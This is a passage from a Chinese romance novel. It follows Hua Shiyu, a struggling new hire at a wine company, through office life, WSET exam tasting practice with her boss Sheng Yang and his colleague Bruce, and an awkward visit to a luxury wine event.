花诗雨不理解他为什么突然提到是自己前老板的前女友,但是可以确信的是眼前的学长也是依托了贵人才发家的。
见花诗雨迟迟未作决定,马杨把电脑收回来,“不会觉得我是在骗你吧?”
“不是,我是在想如果我接受了你的帮助,我该如何回报你。”
马杨把笔记本合上的同时,掀起眼皮看了对面的花诗雨一眼,随之笑了声。
他的这个眼神,意味深长。
可现阶段的她,管不了那么多,赚钱最重要,不能让机会从自己眼前溜走,于是应道:“如果学长能带我做的话那最好不过了。”
“这就对了嘛,人生在于尝试。”
“那这样吧,学长,你借我五万,我打个欠条给你,一年百分之五的利息,店铺利润你拿百分之二十,这样可以吗?”花诗雨也不知道自己能不能把店铺做起来,能不能赚到钱,但是她不想占人便宜,或者欠太多人情。
马杨其实早就看出来了,她和其她刚毕业的姑娘还是有点不一样的,她防范心强,脑子也蛮清晰,便笑着点头应道:“好,带你做事,我还能赚点钱,何乐而不为。”
“谢谢学长!”花诗雨起身背起包,“学长,那我先走了,咱们在微信上联系。”
“好。”马杨把电脑装进包里,跟着起身,“我送你回去吧。”
“不了,学长你这两天也挺累的,早点回去休息。”
“行,那咱们微信上约时间见面。”
“好的。”
花诗雨从餐厅出来,没着急回出租屋,而是漫无目的地走在街旁,吹吹季夏的晚风,听听大城市的夜晚喧嚣。
房东发消息来问:【小花,今晚还回来吗?】
其实房东昨天就发消息过来问她是否回老家了,只是她太忙,忘了回复老太太。
这会,她回:【回的,等会就回去啦。】
她看了眼手机上的日期,又到交房租的日子了。日子过得太紧凑,她都来不及关注几月几日,只知道往前赶。
她转去一个月的房租,浑身上下只剩三千来块了。
出去做个翻译,回来债务又要叠加五万了,超十万了。而未来,还是迷茫的。
路过一个广场,一个西装革履的大爷在那晃着身子吹萨克斯,声音深沉悠扬,前边的礼帽里装了些路人打爽的钱币。
花诗雨看了眼手机上的电量,百分之五十的电量,够的,便摸出口袋里仅有的二十元放进了那礼帽里。
听了一会,她继续往前走,忽然反应过来大爷那萨克斯一点都不便宜。人家只是打发时间的街头艺术,而自己才是真穷,不仅穷,还同情心泛滥,本来二十块钱省省也是一天的伙食费了。
想到这,她都觉得自己可笑,更可笑的是后边跑来一只狗狗,狗狗身上穿了件LV的小衣服,脖子上是Chanel的项圈,脚上是Gucci的保护鞋。狗主人在后边追,叮嘱它说:“Puppy,慢点跑,你脚伤才刚好”。
她笑了,真的笑了,路过的狗都比自己过得好,不愁吃穿,还有人关心。
笑着笑着,风吹来,似有几粒砂砾掠进她眼睛里,泪光跟着在霓虹灯里闪烁。
生活怎么就这么难呢?
到底什么时候才可以变好一点?
哪怕只是喘口气。
12. 包庇
次日早上,花诗雨出门上班,又见几个老太太坐楼下树荫下乘凉聊天。
花诗雨主动跟她们打招呼:“早上好呀。”
“侬好呀,小姑娘上班去伐?”老太太们亲切回应招呼。
花诗雨:“是的,上班去呢。”
杨阿婆看了看花诗雨,她手里提着个电脑,肩上背了一个只放了两本书的帆布包,不像其他打工族还会带个盒饭,“小花呀,阿婆早上做了蛋饺,我给你拿点带到公司去吃。”
随即,杨阿婆起身拉着花诗雨往自己家走去,花诗雨一路推脱:“阿婆您留着自己吃,我中午在公司点外卖吃。”
“外卖不健康呀,阿婆做了很多,一个人吃不完,等下都要坏掉咯,那多可惜啊。”杨阿婆从口袋里取出钥匙开门,“你等我会,我去装给你。”
杨阿婆过于热情,花诗雨不好拒绝,站门口等候。
没一会,杨阿婆提来一个花色的饭袋子给到花诗雨:“都给你装里面了。”
花诗雨拉开饭袋子看了眼,上面放了一个苹果,下面是一个玻璃饭盒,看不到里面具体装了什么食物,她也不好意思当人面拿出来打开,而是把拉链拉起,点头致谢:“谢谢阿婆。”
花诗雨没走几步,就听到了几个老太太在后边小声议论。
其中一个老太太说:“这小姑娘长得真水灵呀。”
“还很有礼貌,每次看到我都热情地打招呼,看到我搬东西都主动过来搭把手。”顿了会,杨阿婆叹气说:“唉,就是命苦,无父无母,带她长大的外公外婆也去世的早。”
老太太们:“哦喔,那是真可怜哇。”
花诗雨背对着她们前行,嘴角微扬。虽然被议论身世,被人可怜,但是他人的善意她也都感受到了。无论何种善意,她都感谢。
花诗雨又是第一个抵达办公室,一坐下就看Wset三级的书。
花诗雨来了之后,盛仰变成第二个到达办公室的人了,他路过花诗雨工位,花诗雨主动打招呼:“老板,早上好。”
盛仰只是看了她一眼,并未作任何回应就回自己办公室了。
花诗雨心想无所谓了,老板又不是自己的家人或朋友,怎么可能对自己有热情回应。
“诗诗,你回来了呀!”Emily手里拿着个包子和一杯豆浆跑过来,“你身体有没有好点?”
“啊?”花诗雨不明所以。
“给,喝杯温豆浆。”Emily把豆浆放花诗雨工位上,然后坐在自己位置上上下观察花诗雨,不像感冒生病的人,“你昨天和前天是不是痛经呀?有没有好点?”
“没有呀,我要到月底才来大姨妈啊。”
Emily指了指侧边办公室里的盛仰:“老板跟Molly说你前两天不舒服,扣你年假。”
看来他没有把她利用居家办公的时间出去兼职的事情暴露出去,也没有扣她事假,让她工资上没有损失。
花诗雨当初也不是没想过直接请年假出去兼职,但想着年假可以留到后面再去兼职,总想着留下时间赚更多的钱,就生了利用居家办公的机会出去兼职的念头。
Emily:“你生病的话可以上医院去,让医生给你开病假单,你就不用浪费年假了呀。”
花诗雨忙摆手:“不不不,我就有点小感冒,不至于上医院,休息两天已经完全好了。”
“不过老板怎么知道你不舒服啊?”Emily不觉得他们俩关系到这种地步。
“诗诗,你好点了吗?”又走来一个关心她的Sofía。
“早上好,Sofía,我已经好了。”花诗雨先回Sofía,再回Emily:“老板问我要调研报告,所以就顺嘴说了句。”
“哦,好吧。”提起调研报告,Emily说:“你做的那份调研...”说着说着,她停顿下来,啃起了包子。
“怎么了?是不是做的不好?被老板批判了?”花诗雨拽着Emily的胳膊一连几问,她太担心会像上次PPT一样被老板嫌弃。
“很好,你做得很好,细致清晰!”奚涧提着个电脑包过来,夸人的声音洪亮,“发现了我们都没想到的点。”
花诗雨松了一口气,但愿奚涧不是安慰她才这么说的。
Emily附和:“嗯,做得很详细,甚至不用那么详细。”
本来奚涧的要求是只做醇白的竞品分析,但花诗雨把对标的别家酒庄去年卖得好的红、白葡萄酒的营销手段都研究了一遍。
“没事,我觉得非常好。”奚涧放下电脑,在她们对面坐下,“新人这样做进步很快。”
“谢谢老大的认可。”花诗雨做的时候也没想那么多,就尽可能把能想到的都做详尽,免得盛仰挑毛病。
“那我们现在来讲一下接下来的工作。”奚涧打开电脑,先问对面的花诗雨:“诗诗,我看你的竞品分析里面,有着重研究了YD酒庄去年的薄荷甜白,你是觉得这里面有学习的地方或者该吸取教训的地方吗?”
“我去研究了他们薄荷甜白的酿造过程。葡萄品种是长相思,未经过橡木桶陈年,成本其实不算高。我也去买了来喝,味道没有特别之处。”花诗雨学了wset课程后,对葡萄酒的生产全过程有所了解,能判断出酒的成本,“但他们胜在营销。”
“嗯,是的,展开说说。”奚涧期待地看着花诗雨,等着她的分析。
“首先他们外包装做得非常小清新,特别吸引年轻小姑娘喜欢;其次他们选在情人节那个节骨眼上市,在此之前让各大情侣博主造了一波势,广泛度就打开了;最成功的应该是那款酒背后的爱情故事,感动了不少人。”花诗雨不太自信地环顾听她发表的三人,小声问:“我分析得对吗?”
“对!”奚涧率先竖起大拇指,“你是真花了功夫,有市场调研能力。他们去年营销就是一环扣一环的,营销做得很成功,后期那款酒卖得也很好。”
可能这是奚涧对新人的惯性夸赞,因为他对Sofía也是如此,但花诗雨听了依旧很开心,心中增添了一丝自信。
Emily添一句:“他们年年讲故事,款款酒都要编出一个故事来,我真服了他们编故事的能力。”
“哎——”奚涧说,“这是正常操作,我们酒庄不也有故事,欧洲哪个百年品牌没有故事啊。”
Emily:“那我们这次的新品要不要也编故事?”
奚涧:“没时间了,要赶在圣诞节前上市,这款酒不是集团主
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推项目,总部给我们的营销预算不多,就按照一般流程来吧。”
“但是也要认真对待。”盛仰突然冒出来说了一句。
奚涧应道:“会的,老板!”
盛仰提醒说:“他们新品和我们新品差不多风格,上市时间也差不多,别到时候他们卖得热火朝天,我们的却无人问津。”
说完,他就端着杯子去茶水间拿水了,没有秘书,连个拿水的人都没有。
奚涧问花诗雨:“交给你一个任务,接不接?”
“好。”花诗雨一口应道,她也不管什么任务,有活就接。
“爽快!就喜欢你这样的!”奚涧对盛仰办公室抬了抬下巴,“你来得早,每天早上去老板办公室收拾收拾桌子,泡泡茶倒倒水。”
“这...”太为难花诗雨了,她觉得盛仰一定会嫌她笨。
“他本身就整洁干净,你只要固定时间给他弄喝的就行,就几分钟的事。”奚涧劝说道,“多在老板面前刷刷脸,加深印象,有助于你转正。”
“......”花诗雨并不想要这样的机会,但领导交代的事她又不能拒绝,便说:“如果老板需要的话,而且他不嫌弃的话,那可以的。”
盛仰刚好拿着瓶纯净水过来,奚涧逮到机会说:“老板,以后端茶倒水这种小事不用你亲自去了,让花诗雨帮你做吧。”
盛仰看了他们一眼,未吱声,转去了自己办公室。
“老板这算是默认了?”花诗雨问,“那他平常喝什么呀?怎么个习惯?”
奚涧点了点头:“嗯,他不回应就是默认了。”又对Emily说:“爱美丽,告诉诗诗,如何侍候老板!”
“好嘞!”Emily身体转向花诗雨,边照镜子涂口红边说:“侍候他很简单,你只要每天早上在他桌上放两瓶纯净水,他不喝我们茶水间饮水机里的水,咖啡也不用给他做,他几乎不喝咖啡和饮料之类的,其他也没了,东西他自己会收拾。反正一定要干净,他有洁癖,据双双说卧室都是他自己打扫的,床单也都是他自己洗的,他从不让别人碰。”
“双双?”花诗雨只关心这个双双是不是自己的妹妹。
Emily:“就一个从小跟在他屁股后面长大的妹妹,在戏剧学院读书,偶尔会来这里等老板下班。”
妹妹朋友圈有分享自己的大学生活,确实有在戏剧学院的很多照片,原来妹妹叫“双双”。
奚涧搭话:“哪里是小妹妹,人家两人明明是亲密无间的青梅竹马。”
办公室里的盛仰似乎意识到外面有人在八卦自己,隔着玻璃门瞥了他们一眼,奚涧就道:“工作工作,爱美丽你带着诗诗做一遍品鉴会的准备流程。”
Emily抿了抿涂了口红的嘴唇,比了个“OK”。
花诗雨也不好意思继续问了,即便她十分好奇妹妹的“全名”。妹妹出生时才四斤出头,花贵一家没好好养,抱着养不活的心态养一对双胞胎女婴,所以名字也没给人家取。
后来外公外婆把奄奄一息的妹妹抱来养,但他们想给妹妹找一个好的人家收养,也就没给妹妹上户口,只给妹妹取了一个乳名叫“多悦”。
花诗雨的乳名也是外公外婆取的,叫“多喜”。
13. 暗示
中午饭点一到,Emily就拉着花诗雨和Sofía去茶水间热饭,因为她们三今天都带了午饭过来。
一个微波炉,Emily先热好了她的油爆虾和菜饭,Sofía正在热她的咖喱鸡和藜麦饭。
花诗雨从冰箱里取出早上房东给她的便当,不打开不知道,一打开才发现里面满满当当的一碗黄金蛋饺,个个均匀饱满。
Emily见了,不自觉咽了下口水:“呜呜,看到你的蛋饺我就想回我爸妈家了了,太想念我妈做的菠菜汤蛋饺了。”
花诗雨:“等热好了一起吃呀!”
“那我就不客气了。”Emily坐在桌前,摆好自己的盒饭,不动筷,等着她们一起。
“我的也好了。”Sofía从微波炉里取出自己的咖喱鸡端到桌上,“诗诗到你了。”
“好滴。”花诗雨把自己的蛋饺放进微波炉,拧了高温三分钟。
在等待蛋饺期间,Emily问花诗雨:“你们安西人也爱吃蛋饺吗?”
“其实很少吃,我们安西人饺子都吃得少。”花诗雨指着微波炉里打转的蛋饺,“这是我第一次吃,房东做的。”
“房东?”Emily问,“本地老太太?”
花诗雨:“对呀,住我楼下。”
“那你在她心目中一定是个非常好的小姑娘。”Emily调侃说:“这边老太太大多事多又难搞,比如我妈。除非她真的喜欢你,不然哪有对房客这么好的老太太,而且你还没租多久。”
花诗雨取出蛋饺端过来,“是我幸运碰到了这么好的房东。”
“因为你本身就很好呀,相互吸引。”Emily把几份午饭都摆在一起,然后取出手机选角度拍美食照片,“我们拉个小群吧,一起讨论明天吃什么,你们想吃什么和我说,我让我老公早上起来做。”
花诗雨和Sofía都表示没问题。
群建好,Emily正在反复输入群昵称,“还可以在群里八卦领导们,我们得取个霸气的群名。”
Emily背对着门口,并未看见门口经过的盛仰和Bruce,花诗雨和Sofía使劲向她使眼色,她也未意会,只关心取个什么群名。
Bruce悄悄凑到Emily的脑侧,眼睛看着她输入的群昵称,“还‘早日退休’,你怎么不叫‘提前养老’群呢?”
Emily身体本能往另一侧倾斜,“你吓我一跳!”
“谁叫你带头蛐蛐领导啊,一天到晚就知道带坏新同事。”Bruce视线转移到两位新同事身上,“还不快介绍一下你部门的新同事。”
“等下,碍我事。”Emily匆忙输入群昵称“明日退休”,再分别介绍花诗雨和Sofía:“我们部门新来的美女,花诗雨,安西人,Sofía,委内瑞拉人。”
“啧啧啧,你们老大眼光确实不错。”Bruce主动跟新同事打招呼:“你们好,我是Bruce。”
盛仰在门口等得不耐烦了,喊他:“你到底还去不去吃饭了?”
“老板在催了。”Bruce对花诗雨和Sofía挑了下眉,“你们想喝什么,请你们喝。”
Sofía:“那请帮我带一杯拿铁吧。”
花诗雨婉拒道:“谢谢了,不过我咖啡、奶茶都不爱喝,碳酸饮料也不喜欢,就不用破费了。”
“不用给他省钱,他是我们公司除了老板收入最高的人了。”Emily把Bruce往外推,“快走快走,给Sofía带杯拿铁,给我和诗诗带杯不带咖啡的东西就行,不要耽误我们吃饭。”
Bruce转身离开,而盛仰早就走了。
“吃饭吧,我都饿了。”Emily第一筷夹的就是蛋饺,“让我尝尝你房东的厨艺。”
花诗雨也拆开筷子夹蛋饺,问道:“Bruce就是我们的销售经理吧?”
她有仔细了解公司同事的组成,每个岗位的同事名字她都认真记了,就是这个Bruce一直没在公司见着他,今天是第一次见。
“对呀,我们的财神爷啊。”Emily介绍说,“在国外出差了好久,这两天刚回来的吧。”
“我觉得他很帅耶。”Sofía眼里冒着小星星,“有很多肌肉的样子,我喜欢这样的。”
Bruce常年健身增肌,肌肉堪比健身教练。
“确实还行吧,一身的腱子肉,能把衬衫撑得鼓鼓的。”Emily评价起男同事身材,“其实我更喜欢老板那样的身材,见过他游泳的时候,那身材流畅有型,不肥不瘦,比例刚刚好。”
花诗雨心想,妹妹还挺有福气的,男朋友身材这么好。
一顿饭吃了有近一个小时,都是聊些没营养的八卦,一直聊到Bruce带三杯喝的回来。
“上班了,还在吃啊?”Bruce走过来,拍了一下Emily的脑袋,再把喝的分发给她们三个,分到花诗雨时,他问:“听Molly说,老板要求你考Wset三级啊?”
花诗雨叹气点头:“是的,还有一个月不到就要考试了。培训的最后一天下午我有事缺堂了,少听了一部分课,少品了十几款酒,都不知道怎么补了,真怕考不过。”
Bruce:“他没给开小灶补课啊?”
花诗雨摇头:“是我自己有事先走的,跟老板没关系。”
“我给你补,我可是考过三级的人。”Bruce转身出去,“你等着噢,我去找他要教材。”
几分钟后,Bruce和盛仰都来了,Bruce手里拿着本Wset三级教材,盛仰手里拿着自己上午喝完茶的空杯子。
花诗雨这才发觉自己中午忘了给老板洗杯子,便迅速起身去接他手中的杯子:“老板,我来吧。”
盛仰也不客气,把杯子给了她,自己再到吧台里面洗手。
收拾完桌上的剩菜剩饭,Emily让花诗雨留下来帮老板洗杯子,自己则和Sofía去外面的洗手间洗饭盒。
花诗雨也进到吧台里面,在另一个专门洗杯子的水池前洗杯子。
Bruce坐在吧台的另一边,翻看教材最后几页,并问盛仰:“花诗雨缺了哪部分内容没听到啊?”
“基本都讲了,你要闲得没事就给她再讲一下西班牙的葡萄酒吧。”盛仰抽了张纸擦手,偏头看了眼在仔细洗杯子的花诗雨,“最主要的是喝。”
盛仰对花诗雨也算有所了解了,她就跟个笨乌龟一样,能把厚厚的一本书都背下来,所以笔试应该没问题,但是她对葡萄酒见得少,喝得也少,盲品考试对她来讲会有难度。
“喝还不简单。”Bruce放下书,绕进吧台,在酒柜里选酒,“我们现在就喝,边喝边品,边讲解西班牙的葡萄酒。”
花诗雨洗好杯子,并放了进消毒柜消毒,人坐在吧台外面认真等待Bruce选酒讲课。
盛仰洗好手准备回去,被Bruce喊住:“老板,别走啊,我哪有你讲得好。”
“我哪有你这么闲!”盛仰还是要走。
Bruce选好几瓶具有代表性的酒放吧台上,为花诗雨打抱不平:“你就是故意的,刚吃饭都见你拿着个手机解答其他学员的问题。人家花诗雨也是花钱上课的,你怎么就不负责呢?再说培训新员工也是公司的责任啊。”
花诗雨夹在两位领导中间,不敢说话。
盛仰无奈闭了下眼,还是折回来,但提要求:“行,楼下刚搬来了一家专做企业福利的公司,规模挺大,你有空去下面晃悠晃悠,看看有没有合作的机会。”
“好好好,去去去。”Bruce想说,都没歇几天就让人干活。
盛仰走进吧台里面,一边用海马刀开酒,一边对花诗雨说:“发个消息给Sofía,叫她一起过来听。”
他把开好的酒推到Bruce面前:“醒一下,顺便介绍一下。”然后他继续开第二瓶酒。
“好的。”Bruce把酒标转到花诗雨面前,先指着产区那个单词,“Rioja(里奥哈),我们酒庄所在的产区之一,也是西班牙优质法定产区,我们酒庄是这个产区最著名的酒庄,回头带你去那看看。”
Bruce接着指着品种那几个单词,介绍道:“Tempranillo(丹魄)和Grenache(歌海娜)的混酿。丹魄不用说,西班牙国宝级葡萄品种,生长在维度相对较高的地区,喜冷凉,较冷的气候会给予葡萄较高的酸度;歌海娜喜好干旱,炎热,多风气候,所酿的酒清爽顺滑,果味浓郁,甜度高。这两种混酿,相辅相成,再经过橡木桶陈年,酒体会更加饱满、浓郁。”
花诗雨点点头,西班牙所种植的葡萄品种她都滚瓜烂熟了。
盛仰随机抽查她:“说说雷司令吧。”
“雷司令耐寒性强,萌芽迟,原产于德国莱茵地区
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,法国、奥地利、美国、澳大利亚等国也有引进种植,不同产区所酿造的风格也不同,寒冷地区生长的雷司令所酿造的酒带有绿色水果香味以及花香,温暖地区的话,就带有柑橘类水果和核果的味道...”花诗雨一口气介绍完。
她回答的顺而快,看来葡萄品种这块是掌握了,盛仰微微点头表示还可以,又继续问道:“说说影响葡萄酒的价格因素吧,这是从业者必备的知识。”
花诗雨再次认真作答:“第一,葡萄园的土地成本,人工和机械化的使用程度,人工挑选优质葡萄成本更高;第二,酒庄设备的使用率,橡木桶或其他增加橡木味的成本,上市前陈年储存时间越久成本越高;第三,包装的选择和采购,包括酒瓶、酒塞、酒标等;第四,运输的成本;第五,总代和经销商所赚取的差价多少;第六,赋税,本地生产税、进口关税、消费税等,不同国家有不同标准,中国进口一瓶葡萄酒,综合税大约在占其价格的48%。”
很好,条理清晰,没有遗漏。盛仰再次点了点头,看起来还算满意。
Bruce则拍手鼓掌,像夸奖小朋友一样夸奖她,“我就说奚涧眼光毒辣,他选的人一定不会错。”
盛仰却说:“这才哪到哪,纸上谈兵。”
Bruce:“老板就这样,他的赞美总是那么吝啬。别管他,你很棒!”
这时Sofía进来,四人进入品酒环节。
陆续品了三款酒,都是他们自己酒庄的酒,这是远远不够的,Bruce便问盛仰:“花诗雨不在的那天下午你给学员们品了什么酒?”
“新世界的酒。”
“好,刚好我家里有几款美国和澳大利亚的酒,明天我带来。”Bruce手肘抵了抵旁边盛仰的胳膊,“你家酒窖那么多酒,带点过来给新员工盲品啊。”
盛仰家有个地下酒窖,储存了许多不同国家、不同产区的葡萄酒,这个数量还在不断增加。
盛仰:“你让奚涧带。”
“对了,奚涧呢?”Bruce这才想起自己一下午都没见到奚涧了,本来这种局,他一定不会错过。
盛仰:“去花溪村度假酒店了。”
说到花溪村度假酒店,Bruce就笑问:“奚涧和我说你在那被一个大学生泼了一身水啊?”
这事又又又被提起,为避免尴尬,花诗雨视线移到手中酒杯上,假装在观察酒的颜色。
“泼你的大学生是男的女的啊?”Bruce继续问。
“蠢的!”盛仰把自己喝过的酒杯放进洗手池里,放水洗手,眼神未朝当事人花诗雨一眼,“我说我手表进水了,花了两万块修理,她还真信了,要去做兼职还钱。”
Bruce大笑,“哈哈哈,大学生果然单纯好骗,不应该先问你要发票再赔的吗。”
此刻的花诗雨脸颊已红温,不知是酒后的微醺还是尴尬所致。关于修理手表费用的发票,她不是不知道索要发票再理赔,只是不想与是“妹夫”的老板过多掰扯,只要费用不过分,她都认了。
“对吧,”盛仰擦干手,从吧台里出来,经过花诗雨身侧,余光瞥了她一眼,“没有发票,费用就不认,不赔就好了,何必那么老实。”
随后,盛仰就出去了,暗示得已经很明显了,希望她能明白。
盛仰前脚出去,Emily后脚进来,喊她们:“诗诗、Sofía,听说隔壁商场新开了一家进口超市,在打折,去看看不。”
“好的,我去。”
花诗雨陪同Emily去了,Sofía留在这里和Bruce品酒。
花诗雨其实没什么想买,但她斥巨资买了一斤新上市的智利车厘子,留一些同同事分享,另外的全装进饭袋里,自己一个未剩。
下午下班回到小区时,花诗雨特意路过老年活动区,看到杨阿婆正在做拉伸,便喊了声:“阿婆,吃饭了吗?”
“吃过了,小花你下班了。”
“嗯啊,”花诗雨抽了张纸垫在杨阿婆身旁的石板上,再把饭袋放在纸上,“阿婆,今天谢谢您的蛋饺,真的非常好吃,我都吃完了,饭盒已经帮您洗干净了,放这了哦。”
“好的,你喜欢就好。”
花诗雨走后,杨阿婆拉开饭袋看了眼,满满一盒个大圆润的车厘子,按当前的市场价,这一盒得要七八十。
她既心疼又欣慰,这小姑娘为人品质是真不错。
14. 21岁
接下来的两周里,奚涧和Bruce每天都会带几瓶葡萄酒到公司,帮助花诗雨和Sofía进行盲品训练。
在她们考试前一周的周五,盛仰中午才到公司,路过花诗雨她们,丢了把钥匙在花诗雨桌上:“车停在楼下,后备箱里有两箱酒,记得把车停到车库去。”
说得太简洁了,花诗雨压根没懂他的意思。
Emily帮忙解码:“他的意思是他从家里带了两箱酒来,你们不是快考试了嘛,给你们做最后盲品冲击训练的,让你们自己去楼下搬上来,然后帮他把车停到地下车库去。”
“好,那我去搬。”花诗雨拿起车钥匙,奔驰的,她在大四考过驾照了,但是过了科目三就没碰过方向盘了,“我担心我的技术会把他车撞了。”
刚好奚涧和Bruce都不在,Emily接过花诗雨手中的车钥匙:“我来开吧,撞了就撞了,不是他自己的车,是公司给他配的通勤车,完全不用担心。”
三女生下楼搬酒,后备箱里有两个木箱,每个木箱固定装着六瓶酒,木箱四侧有凹口,便于手抓着箱子搬。
花诗雨和Sofía一人搬一箱下来,Emily刚打开驾驶室的门要进去开车时,盛仰就大步走过来了,问道:“差点忘了,今天是YD联合DRR举办的品酒会,你们谁跟我去?”
DRR是欧洲的一奢侈品牌。
Emily关上车门:“我和Sofía等会要去那个精酿啤酒展。”
虽不是专门的葡萄酒展会,但都是酒类,所以奚涧就派Emily带Sofía去那转转。
花诗雨也说:“老大让我下午跟他出去。”
盛仰要求道:“现在你们部门必须有一个人跟我一起去,看看别人怎么举办这种大型酒会的。”
三女生都没立马回应,一是都没准备,二是老大不在,没人做主。
盛仰眼神依次扫过她们三个,Emily一身玫粉色针织裙,穿着勉强适合参加酒会,可她现在算是市场部的中流砥柱了,得带新人观展;花诗雨依旧是白T配牛仔裤,外面套了件灰色开衫,随便扎的丸子头,既素又休闲,略过吧。
唯有Sofía穿了花色连衣裙,化了精致妆容,适合带出去。
于是,他笑着问Sofía:“Sofía去吗?”
Sofía摸了摸自己的腹部,有点难为情地说:“我生理期,不能喝酒。”
盛仰不为难她,“那算了。”
Emily说:“让诗诗跟你去啊,带我们诗诗见见世面。”
盛仰再次看了花诗雨一眼,她虽穿着单一,脸上也没什么妆容,但不能否认的是她底子就是好,穿再素也能引起别人注意,便勉为其难钦点道:“那就你吧。”
“好的,那我跟老大说一声。”花诗雨有点好,非常听话,哪怕自己只是老板退而求其次的选择,她也乐意顺从。
同奚涧报备完,花诗雨弯下腰来搬酒,她第一下没用好力,搬起来一点又放下了,心想还挺沉的,等她想重新发力时,盛仰走过来:“一边去!”
来回两次,盛仰把两箱酒都搬去电梯口了,再拍了拍手,接过Emily手中的车钥匙,“以后让你们老大招个会开车的男的!”
我堂堂一个老板天天给你们市场部既当苦力又当司机的!
“嘿嘿,谢谢老板。”Emily随口就夸:“老板一个男的顶十个男的十个女的。”
盛仰:“有这拍马屁的功夫都到展会现场了。”
Emily:“哎呀,知道了,马上就去。”
盛仰向花诗雨招了下手,示意她上车。
车驶入梧桐区,打卡拍照的行人过多,盛仰不得已减速慢行。
初冬暖阳为梧桐叶镀上金边,斑驳树影透过车窗落入车内,车厢里浮动着细碎光影。
如此浪漫氛围,花诗雨也没想其它,就只在想妹妹应该坐过很多回这个位置,说明自己离妹妹更近了。
“你...”盛仰忽然偏头看她,暖色阳光下,她瓷白的肌肤里透出三月桃花般的粉晕,这张脸比她这身衣着鲜亮多了,“你多大了?”
“21岁。”花诗雨脱口而出,又匆匆改口:“不对,22岁。”
“到底多大?”盛仰不喜欢装嫩或扮成熟的人,“又不是三四十岁,才二十出头就有年龄焦虑不敢说啊?”
“没有,我实际年龄是21岁,只是身份证上年龄比实际年龄多一岁,我不知道该说哪个。”
“户口本还会上错年龄?”盛仰不理解,“不是按照医院的出生证明来吗?”
“我不是在医院出生的,当时的农村也不规范,我生父的家里长辈希望我早点嫁人,所以把我年龄多报了一岁。”花诗雨很实诚地回答,面色也很坦然,像是在述说一件很平常的事情,因为那个地方,这样的情况多的是。
盛仰直接沉默了,他头一回听说盼女儿早点出嫁的父母,这是有多不爱自己的女儿。
数秒后,他才问:“那你怎么读到大学的?你父母没有逼你早早嫁人?”
他以为她这样的家庭顶多读到初中就要辍学嫁人了。
“没有,我妈妈和我外公外婆都很爱我,不会逼我,不过她们都早已去世了,我生父早就再婚了,跟我没有任何瓜葛了。”花诗雨眼睛望着前方洒满阳光的康庄大道,笑说:“这不国家政策好,只要考得上,就有学上,所以我才幸运读完了大学。”
她又补充道:“我不可怜,您不用可怜我,如果我真的不满足公司的要求,就不用给我转正。”
盛仰只能沉默,不敢再问下去了,怕问出更惨的经历。
品酒会在外滩外国建筑里其中一栋的顶楼,电梯里都是穿着华丽的男女,花诗雨裹在里面就像过来应聘兼职服务员的大学生。
到会场入口处,盛仰给门口侍者看了眼自己的邀请函就进去了,以为花诗雨会跟上来。
没想到花诗雨被侍者拦下:“您好,请出示一下邀请函哦。”
花诗雨指着前面的盛仰:“我是跟他一起来的。”
侍者看了看前面的盛仰,西装革履的商务精英,再看看眼前的女孩,背个帆布包,像是刚下课的女大学生。侍者微微迟疑:“您二位是一起的?”
走着走着,盛仰发现后边的人没跟过来,便返回入口领人:“她和我一起的。”
花诗雨紧步跟上。大厅内光线幽暗而温暖,中央可容纳近百人的胡桃木长桌泛着丝绸般光泽,上面整齐排列着晶莹的高脚杯和银质点心架。耳边隐约传来爵士乐,鼻前总有香氛味萦绕。整个空间无不透着低调的奢华。
盛仰找到自己的位置坐下,花诗雨挨着他坐下,周边也陆陆续续有人坐下。花诗雨环顾周围落座的人,男士清一色深色西装,女士皆着修身礼服。
花诗雨朝下看了看自己这身与此场合格格不入的穿着,下意识地裹紧了自己的灰色开衫。也难怪盛仰一路上望了几次她的穿着后欲言又止,但事实上,就算她提前知道要来参加这样的活动,她的衣橱里也找不出几件像样的衣服。<
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听着他们侃侃而谈,包括盛仰也在和别人谈笑风声,花诗雨只能尴尬地干坐着。
身后传来一女声:“盛仰,我还以为你不来我们的品酒会呢。”
花诗雨跟着盛仰转头,是一位穿着米色西服、脚踩黑色高跟鞋、干练齐肩发的知性美女朝这走来。
盛仰立马起身,礼貌伸手与之握手:“Grace,好久不见。”
“哪有,不是前几个月才见过吗?”
花诗雨就看着他们互相握手,在犹豫要不要跟着老板起身同人打招呼。起身的话,她担心会打扰他们谈话,不起身的话,又怕自己显得没礼貌。
正当她纠结时,Grace环顾左右,硬是掠过了眼下的花诗雨,问盛仰:“就你一个人来吗?没带下属或女伴?”
盛仰拍了一下花诗雨的肩膀:“有,这位,花诗雨,我们市场部新进员工。”
花诗雨起身,伸手,微微鞠躬,“Grace,您好,我是花诗雨。”
Grace审视的眼从下至上打量了花诗雨一番,最后视线落她脸上,握手言笑:你好,小姑娘长得很漂亮嘛,刚毕业吗?”
“嗯,今年六月毕业的。”
“哪里回来的?”Grace默认花诗雨是海归。
可花诗雨没听懂Grace问的意思,“哈?”
盛仰替她答:“没,内陆本科。”
“哦哦。”Grace不再多问,介绍起自己新招的员工来,“我们市场部去年年底也招了一个女孩子,法国本硕,能力很不错,今晚就是她担任主持。”
女孩子,法国本硕,担任主持。
花诗雨总觉得Grace是故意在盛仰面前强调这些的,为了显示自己团队比盛仰的优秀。当然,也有可能是花诗雨她自己敏感了。
盛仰只是笑笑说:“是吗?那很期待了。”
“坐下聊吧,马上开始了。”Grace在盛仰的另一边坐下。
他们先是叙旧,从他们的聊天里,花诗雨大概能得知他们是英国留学时期的校友,然后一同进入了CR西班牙总部。后面不知道经历了什么,盛仰回来当CR中国分部的负责人了,Grace则跳槽到了YD中国分部,现担任市场总监。从前的同事便成了今日的竞争对手。
品酒会开始,屏幕亮了起来,上来一位穿绿色长裙、披长发的年轻女孩,叫Camille,她大方微笑,开口就是三种语言的打招呼。
在主持当中,她自信从容地介绍今晚的酒,面对他人的提问都能对答如流,还能时不时地说上几句幽默的话,逗大家一笑。
盛仰侧着身体认真地看着、听着,似乎忘了身后侧还有一个花诗雨。或许他想要的团队成员是台上那种优秀且专业的,而不是自己这种一问三不知的员工,花诗雨想。
周围的一切都让花诗雨感觉无所适从,除了身上的这身穿着让她窘迫外,还有面前的她从没吃过的食物以及不知道如何使用的叠成一朵花的餐布和各类精美餐具。
她只能干巴巴坐在那里,用一双澄澈的眼睛去窥探这里的风花雪月,用一双清澈的耳朵去窥听他们的谈笑风声。
在那个二线城市的大学里,很多时候她也是骄傲的,因为有一直被人夸赞的长相、歌喉,还会讲流利的西语、英语。可在此刻,她的这些骄傲如眼前快燃尽的蜡烛,一点点熄灭,内心的自卑却如刚倒出的香槟气泡一般,迅速放大。
